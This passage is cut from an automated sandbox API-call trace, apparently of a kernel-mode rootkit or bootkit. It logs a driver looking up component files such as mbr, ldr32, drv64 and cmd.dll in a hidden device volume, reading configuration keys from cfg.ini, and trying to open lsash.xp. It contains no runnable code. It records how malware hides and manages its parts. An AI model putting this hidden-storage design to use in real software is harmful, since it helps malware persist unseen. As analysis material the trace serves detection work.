MemoryDescriptorList=0xfffffa8003b863b0) [0120.459] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.459] IdePortDispatch () returned 0x103 [0120.459] KeWaitForMutexObject () returned 0x0 [0120.460] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.460] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.460] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.460] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.460] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.460] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.460] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.460] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.460] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.460] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.460] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.460] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.460] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.460] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.460] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.460] KeLeaveCriticalRegion () [0120.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.460] ReleaseMutex (hMutex=0x100) returned 1 [0120.460] Sleep (dwMilliseconds=0x2bf20) [0120.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aff5190, dwHighDateTime=0x1d24fa4)) [0120.466] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.466] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.466] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.466] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.466] KeEnterCriticalRegion () [0120.466] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.466] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.466] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.466] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.466] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.467] IdePortDispatch () returned 0x103 [0120.467] KeWaitForMutexObject () returned 0x0 [0120.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.467] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.467] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.467] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.467] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.467] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbacc0 [0120.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.467] KeLeaveCriticalRegion () [0120.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.467] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.467] KeEnterCriticalRegion () [0120.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.467] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.467] KeLeaveCriticalRegion () [0120.467] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.467] KeEnterCriticalRegion () [0120.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.467] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.467] IdePortDispatch () returned 0x103 [0120.467] KeWaitForMutexObject () returned 0x0 [0120.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.467] KeLeaveCriticalRegion () [0120.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.468] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.468] KeEnterCriticalRegion () [0120.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.468] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003471000 [0120.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.468] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.468] IdePortDispatch () returned 0x103 [0120.468] KeWaitForMutexObject () returned 0x0 [0120.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.468] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.468] IdePortDispatch () returned 0x103 [0120.468] KeWaitForMutexObject () returned 0x0 [0120.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.468] KeLeaveCriticalRegion () [0120.468] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.469] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.469] KeEnterCriticalRegion () [0120.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.469] KeLeaveCriticalRegion () [0120.469] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.469] KeEnterCriticalRegion () [0120.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.469] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.469] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.469] KeLeaveCriticalRegion () [0120.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.469] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.469] KeEnterCriticalRegion () [0120.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.469] ExFreePoolWithTag (P=0xfffffa8003bbacc0, Tag=0x0) [0120.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.469] KeLeaveCriticalRegion () [0120.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.469] ReleaseMutex (hMutex=0xf0) returned 1 [0120.469] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.469] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.469] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.469] KeEnterCriticalRegion () [0120.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.469] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.469] IdePortDispatch () returned 0x103 [0120.469] KeWaitForMutexObject () returned 0x0 [0120.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.470] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.470] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.470] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.470] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.470] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba710 [0120.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.470] KeLeaveCriticalRegion () [0120.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.470] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.470] KeEnterCriticalRegion () [0120.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.470] KeLeaveCriticalRegion () [0120.470] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.470] KeEnterCriticalRegion () [0120.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.470] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.470] IdePortDispatch () returned 0x103 [0120.470] KeWaitForMutexObject () returned 0x0 [0120.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.470] KeLeaveCriticalRegion () [0120.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.470] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.470] KeEnterCriticalRegion () [0120.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.470] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003472000 [0120.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.471] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.471] IdePortDispatch () returned 0x103 [0120.471] KeWaitForMutexObject () returned 0x0 [0120.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.471] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.471] IdePortDispatch () returned 0x103 [0120.471] KeWaitForMutexObject () returned 0x0 [0120.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.471] KeLeaveCriticalRegion () [0120.471] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.471] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.472] KeEnterCriticalRegion () [0120.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.472] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.472] KeLeaveCriticalRegion () [0120.472] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.472] KeEnterCriticalRegion () [0120.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.472] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.472] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba7d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.472] KeLeaveCriticalRegion () [0120.472] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.472] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.472] KeEnterCriticalRegion () [0120.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.472] ExFreePoolWithTag (P=0xfffffa8003bba710, Tag=0x0) [0120.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.472] KeLeaveCriticalRegion () [0120.472] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.472] ReleaseMutex (hMutex=0xf0) returned 1 [0120.472] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.472] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.472] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.472] KeEnterCriticalRegion () [0120.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.472] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.472] IdePortDispatch () returned 0x103 [0120.472] KeWaitForMutexObject () returned 0x0 [0120.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.473] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.473] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.473] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.473] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.473] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.473] KeLeaveCriticalRegion () [0120.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.473] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.473] KeEnterCriticalRegion () [0120.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.473] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.473] KeLeaveCriticalRegion () [0120.473] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.473] KeEnterCriticalRegion () [0120.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.473] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.473] IdePortDispatch () returned 0x103 [0120.473] KeWaitForMutexObject () returned 0x0 [0120.474] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.474] KeLeaveCriticalRegion () [0120.474] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.474] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.474] KeEnterCriticalRegion () [0120.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.474] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003473000 [0120.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.474] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.474] IdePortDispatch () returned 0x103 [0120.474] KeWaitForMutexObject () returned 0x0 [0120.474] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.474] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.474] IdePortDispatch () returned 0x103 [0120.474] KeWaitForMutexObject () returned 0x0 [0120.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.474] KeLeaveCriticalRegion () [0120.474] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.475] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.475] KeEnterCriticalRegion () [0120.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.475] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.475] KeLeaveCriticalRegion () [0120.475] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.475] KeEnterCriticalRegion () [0120.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.475] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.475] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.475] KeLeaveCriticalRegion () [0120.475] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.475] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.475] KeEnterCriticalRegion () [0120.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.475] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.475] KeLeaveCriticalRegion () [0120.475] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.475] ReleaseMutex (hMutex=0xf0) returned 1 [0120.475] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.475] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.475] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.475] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.475] KeEnterCriticalRegion () [0120.475] 